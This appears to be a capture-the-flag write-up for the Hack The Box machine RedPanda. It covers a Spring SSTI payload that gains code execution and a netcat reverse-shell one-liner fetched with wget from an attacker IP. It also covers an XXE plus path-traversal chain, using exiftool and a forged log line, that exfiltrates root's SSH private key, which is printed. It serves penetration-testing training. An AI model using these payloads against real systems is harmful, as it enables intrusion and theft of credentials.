Overview
This machine begins w/ a web enumeration, discovering /search
, where it is susceptible to a SSTI2RCE exploit due to insufficient input sanitization, allowing us to obtain a low-privilege/www-data
shell.
For the privilege escalation part, pspy
is used to snoop on background processes, discovering a JAR
file being executed every 2 minutes by root
. The purpose of the JAR
file is to update author’s view count periodically. After analyzing the JAR
file w/ jd-gui
, it is vulnerable to a XXE and directory traversal exploit due to insufficient user input sanitization, allowing us to privilege escalate to root
.
Column | Details |
---|---|
Box Name | RedPanda |
IP | 10.10.11.170 |
Points | 30 |
Difficulty | Easy |
Creator | Woodenk |
Release Date | 09 Jul 2022 |
Recon
TCP/80 (HTTP)
- FFUF
1 2 3 4 5 6 7
405 GET 1l 3w 0c http://10.10.11.170:8080/search 200 GET 275l 763w 7549c http://10.10.11.170:8080/css/panda.css 200 GET 22l 41w 295c http://10.10.11.170:8080/css/main.css 200 GET 55l 119w 0c http://10.10.11.170:8080/ 500 GET 1l 1w 0c http://10.10.11.170:8080/error 200 GET 32l 97w 0c http://10.10.11.170:8080/stats 200 GET 54l 102w 822c http://10.10.11.170:8080/css/stats.css
An interesting directory is enumerated,
/search
Initial Foothold
TCP/80 (HTTP) - /search, SSTI2RCE
- Found a page that allows users to search for names of red panda
- After some testing, I can conclude that
- Some special characters are banned
1 2 3 4
# Payload $ } {
{, }
results in a500 Internal Server Error
, this could be SSTI. - Not vulnerable to SQLi/NoSQL
SQLMap could not find any vulnerabilities
- Not vulnerable to Command Injection
No code execution
- Not vulnerable to LFI/RFI
No content of files returned
- Vulnerable to SSTI
1 2 3
# Payload *{23*3} #{23*3}
Mathematic equation is computed and reflected.
- Some special characters are banned
- Searching for payload
Since
$
is banned, we have to look for payloads that does not contain$
. After browsing through the payloads, found one w/o$
- SSTI RCE check
1 2
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
RCE achieved !
- Create reverse shell payload
1 2
#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f
- Host payload
- Download reverse shell payload onto
redpanda.htb
1 2 3
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget -O /tmp/exploit.sh http://10.10.14.6/exploit.sh').getInputStream())}
- Invoke a reverse shell
1 2
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('sh /tmp/exploit.sh').getInputStream())}
woodenk
shell obtained1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/htb/redpanda] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.170. Ncat: Connection from 10.10.11.170:43658. /bin/sh: 0: can't access tty; job control turned off $ id;whoami uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk) woodenk
- Demo - SSTI2RCE
Privilege Escalation
Root - Enumeration (Jar File executed as root)
- Snoop background processes w/
pspy64
1 2 3 4 5 6 7 8
2022/11/05 07:36:01 CMD: UID=0 PID=27149 | /usr/sbin/CRON -f 2022/11/05 07:36:01 CMD: UID=0 PID=27150 | /bin/sh -c /root/run_credits.sh 2022/11/05 07:36:01 CMD: UID=0 PID=27151 | /bin/sh /root/run_credits.sh 2022/11/05 07:36:01 CMD: UID=0 PID=27152 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar 2022/11/05 07:38:01 CMD: UID=0 PID=27169 | /usr/sbin/CRON -f 2022/11/05 07:38:01 CMD: UID=0 PID=27171 | /bin/sh /root/run_credits.sh 2022/11/05 07:38:01 CMD: UID=0 PID=27170 | /bin/sh -c /root/run_credits.sh 2022/11/05 07:38:01 CMD: UID=0 PID=27172 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
- is executed byroot
every 2 minutes. - Transfer it to
kali
for analysis
Root - What is the JAR file doing?
- Lets analyze
file.jar
w/jd-gui
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
public class App { public static Map parseLog(String line) { String[] strings = line.split("\\|\\|"); Map<Object, Object> map = new HashMap<>(); map.put("status_code", Integer.valueOf(Integer.parseInt(strings[0]))); map.put("ip", strings[1]); map.put("user_agent", strings[2]); map.put("uri", strings[3]); return map; } public static boolean isImage(String filename) { if (filename.contains(".jpg")) return true; return false; } public static String getArtist(String uri) throws IOException, JpegProcessingException { String fullpath = "/opt/panda_search/src/main/resources/static" + uri; File jpgFile = new File(fullpath); Metadata metadata = JpegMetadataReader.readMetadata(jpgFile); for (Directory dir : metadata.getDirectories()) { for (Tag tag : dir.getTags()) { if (tag.getTagName() == "Artist") return tag.getDescription(); } } return "N/A"; } public static void addViewTo(String path, String uri) throws JDOMException, IOException { SAXBuilder saxBuilder = new SAXBuilder(); XMLOutputter xmlOutput = new XMLOutputter(); xmlOutput.setFormat(Format.getPrettyFormat()); File fd = new File(path); Document doc = saxBuilder.build(fd); Element rootElement = doc.getRootElement(); for (Element el : rootElement.getChildren()) { if (el.getName() == "image") if (el.getChild("uri").getText().equals(uri)) { Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1); System.out.println("Total views:" + Integer.toString(totalviews.intValue())); rootElement.getChild("totalviews").setText(Integer.toString(totalviews.intValue())); Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText())); el.getChild("views").setText(Integer.toString(views.intValue() + 1)); } } BufferedWriter writer = new BufferedWriter(new FileWriter(fd)); xmlOutput.output(doc, writer); } public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException { File log_fd = new File("/opt/panda_search/redpanda.log"); Scanner log_reader = new Scanner(log_fd); while (log_reader.hasNextLine()) { String line = log_reader.nextLine(); if (!isImage(line)) continue; Map parsed_data = parseLog(line); System.out.println(parsed_data.get("uri")); String artist = getArtist(parsed_data.get("uri").toString()); System.out.println("Artist: " + artist); String xmlPath = "/credits/" + artist + "_creds.xml"; addViewTo(xmlPath, parsed_data.get("uri").toString()); } } }
- When executed, reads
redpanda.log
line by line. - Checks if line contains string
.jpg
- Splits the line into parts w/
||
as a delimiter[0]: Status Code
[1]: Ip Address
[2]: User Agent
[3]: URI (Name of image file)
- Get artist name using metadata (
Artist:
) of image file - Create
xml
path/credits/ + artist + _creds.xml
- Process
xml
file and update it by writing it.
- When executed, reads
How do we exploit the JAR file (XXE Involved)
- We have write access to
redpanda.log
- Able to write directly to
redpanda.log
- OR write it through the web
- Able to write directly to
- Since XML file is being processed, we are able to do XXE.
- However there are a few problems we have to overcome to do XXE.
- Path of image file is hardcoded,
/opt/panda_search/src/main/resources/static/img/<image name>
(1) - We do not have write access to the XML file. (2)
- The path to the XML file is hardcoded,
/credits/ + artist + _creds.xml
(3)
- Path of image file is hardcoded,
- We can easily overcome problem (1) by using directory traversal
../
to point to our malicious JPG file (Remember that image name is obtained fromredpanda.log
)redpanda.log
must be in this format,<any number>||<any number>||<any word>||<../../../../../exploit.jpg>
, because ofline.split("\\|\\|");
- The hardcoded directory (
/opt/panda_search/src/main/resources/static/img/
) will be removed w/ multiple../
, allowing us to point to our malicious image file.
- We can easily overcome problem (2) by creating our own malicious XML file (
exploit.xml
) - We can easily overcome problem (3) by using directory traversal
../
to point to our malicious XML file.- We can do directory traversal by adding a metadata
Artist
to our image file (exploit.jpg
) w/ value../../../../exploit
- This is done using
exiftool
. This will result in/credits/../../../../../exploit_creds.xml
- We can do directory traversal by adding a metadata
Exploiting JAR file (XXE Involved)
- Create malicious image file w/ artist metadata
1 2 3
# Use any random image ┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot] └─# exiftool -Artist="../../../../../../../tmp/exploit" exploit.jpg
- Verify metadata (
Artist
) exists1 2 3
┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot] └─# exiftool exploit.jpg | grep Artist Artist : ../../../../../../../tmp/exploit
- Create malicious XML file (
exploit_creds.xml
)1 2 3 4 5 6 7
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]> <credits> <foo>&xxe;</foo> </credits>
- Create malicious
redpanda.log
1
123||a||a||/../../../../../../tmp/exploit.jpg
- Transfer files to
redpanda.htb
1 2 3
wget 10.10.14.6/exploit_creds.xml wget 10.10.14.6/exploit.jpg wget 10.10.14.6/redpanda.log -O /opt/panda_search/redpanda.log
- Wait for cronjob to execute, allowing us to obtain
root
’s private key1 2 3 4 5 6 7 8 9 10 11 12
woodenk@redpanda:/tmp$ cat exploit_creds.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo> <credits> <foo>-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29 ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE= -----END OPENSSH PRIVATE KEY-----</foo> </credits>
- Demo - Exploiting JAR file
Comments powered by Disqus.